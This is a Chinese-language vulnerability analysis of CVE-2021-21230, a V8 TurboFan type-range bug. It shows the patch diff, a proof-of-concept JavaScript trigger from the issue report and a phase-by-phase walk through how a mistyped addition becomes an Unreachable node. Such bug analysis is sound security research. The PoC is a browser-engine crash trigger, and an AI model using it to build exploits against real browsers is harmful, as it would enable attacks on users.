环境准备
git reset --hard df52b65dba782a6bbef0b64684795bcea3503607
gclient sync
Patch分析
diff --git a/src/compiler/type-cache.h b/src/compiler/type-cache.h
index ada95a3..2ade5f6 100644
--- a/src/compiler/type-cache.h
+++ b/src/compiler/type-cache.h
@@ -80,7 +80,7 @@
Type::Union(kPositiveIntegerOrMinusZero, Type::NaN(), zone());
Type const kAdditiveSafeInteger =
- CreateRange(-4503599627370496.0, 4503599627370496.0);
+ CreateRange(-4503599627370495.0, 4503599627370495.0);
Type const kSafeInteger = CreateRange(-kMaxSafeInteger, kMaxSafeInteger);
Type const kAdditiveSafeIntegerOrMinusZero =
Type::Union(kAdditiveSafeInteger, Type::MinusZero(), zone());
poc是把kAdditiveSafeInteger这个const的范围给更新了一下,根据名字来看应该是做加法的整数的安全范围,反向查找一下引用,发现也只有在这里被引用了一次,还有一次是在下面对kAdditiveSafeIntegerOrMinusZero的赋值,仅此两次。
issue里面给了POC ,先来分析这个POC。
POC分析
// the first function exists to generate the SpeculativeSafeIntegerAdd node
function bar(a,b) {
a = a|0;
b = b|0;
var x = a*(2**30) + b; // constrain x to be an integer
x = Math.min(Math.max(x,0),4503599627370496) // further constrain to kAdditiveSafeInteger
return (x+x)|0; // the actual addition, plus the truncation to Word32
}
function foo(a,b) {
a = a|0;
a = Math.min(Math.max(a,4194304),4194304);
b = b|0;
b = Math.min(Math.max(b,2**30-2),2**30); // these constraints will mean that x has type Range(4503599627370496, 4503599627370496)
// the result of bar will be typed to the intersection of
// Range(-9007199254740991, 9007199254740991) and Range(9007199254740992, 9007199254740992)
// which is empty; the dead code elimination emits a Throw
return bar(a,b);
}
%PrepareFunctionForOptimization(bar);
bar(0,1,0);
%OptimizeFunctionOnNextCall(bar);
bar(0,1,0);
%PrepareFunctionForOptimization(foo);
console.log(foo(0,2**29-1));
%OptimizeFunctionOnNextCall(foo);
console.log(foo(0,2**29-1));
根据POC的写法,猜测是Type的BUG,运行一下看一下
漏洞分析
发现这里意外有个unreachable,显然是BUG生成的。然后看下schedule阶段。
不出所料果然是有个unreachable,然后查看一下这个节点的起源。
#180节点在 simplified lowering 阶段被替换。那就去找下。
发现这边还有一个209 也是。在后面没有原因应该是代码亢余消除阶段给消了。
对#209节点重复上面操作。发现是在typerlowering阶段替换的。而此时我们看到了未被替换的修改的#180节点也就是#227的前身。
继续查找,发现#209 是在这个阶段被DeadCodeElimination生成的。
然后看下上面一个阶段,发现其还未被替换。
至于为什么被替换,根据issue给的解释是因为#180的两个valueinput也就是上图显示的#202节点下面的range,两个传入的都是4503599627370496,也就是patch修改之后的值,然后两个#202 被 #180操作之后为9007199254740992,超过 kMaxSafeInteger=9007199254740991,溢出了一个1,正好因为这个1导致了#180的type 被设置为了None。然后由于type 的错误,后面的也会被设置为None,然后在typerlowering阶段的DeadCodeElimination里面由于#180的none ,然后由于#180 作为#181的effect,所以在这被替换为unreachable。(patch之后 计算的值在合适的范围内就不会产生BUG)。
然后在simplelowering 阶段 #180由于range为none,而最终被替换成unreachable。
至此分析完毕。
往期 · 推荐
原文始发于微信公众号(星阑科技):【技术干货】CVE-2021-21230